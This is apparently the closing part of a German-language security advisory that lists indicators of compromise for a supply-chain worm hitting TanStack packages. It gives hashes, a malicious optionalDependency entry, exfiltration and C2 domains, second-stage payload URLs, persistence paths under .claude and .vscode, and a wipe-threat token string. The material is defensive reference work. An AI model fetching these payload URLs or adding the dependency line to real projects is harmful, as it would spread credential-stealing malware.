ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c

SHA-256 (tanstack_runner.js)

2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96

Bösartige optionalDependency

"@tanstack/setup": "github:tanstack/router#79ac49ee..."

Angreifer-Fork

Bösartiger verwaister Commit

79ac49eedf774dd4b0cfa308722bc463cfe5885c

Primäre Exfiltrations-Domain

filev2.getsession[.]org

Zusätzliche C2-Domains

api.masscan.cloud, git-tanstack.com

Second-Stage-Payloads

litter.catbox.moe/h8nc9u.js, litter.catbox.moe/7rrc6l.mjs

Autor des Dead-Drop-Commits

claude@users.noreply.github.com

Dead-Drop-Branch-Muster

dependabout/…/setup-formatter

Persistenzdateien

.claude/router_runtime.js, .claude/setup.mjs, .vscode/setup.mjs

Totmannschalter (Linux)

~/.local/bin/gh-token-monitor.sh, ~/.config/systemd/user/gh-token-monitor.service

Totmannschalter (macOS)

~/Library/LaunchAgents/com.user.gh-token-monitor.plist

PBKDF2-Salt der Kampagne

svksjrhjkcejg (einzigartig für diese Kampagne und nützlich für YARA)

Kampagnenzeichenfolge

IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner

Von der Community gepflegte Erkennungsskripte: GLPMC/Tanstack-Worm-Detector und omarpr/mini-shai-hulud-ioc-scanner (bitte überprüfen Sie diese jedoch vor der Verwendung).

Sichern Sie Ihre Python-Apps ab

Finden und beheben Sie Python-Schwachstellen – kostenlos mit Snyk.

Keine Kreditkarte erforderlich.

Oder registrieren Sie sich mit Azure AD Docker ID Bitbucket

Mit der Nutzung von Snyk erklären Sie sich mit unseren Richtlinien einverstanden, einschließlich unserer Nutzungsbedingungen und Datenschutzerklärung.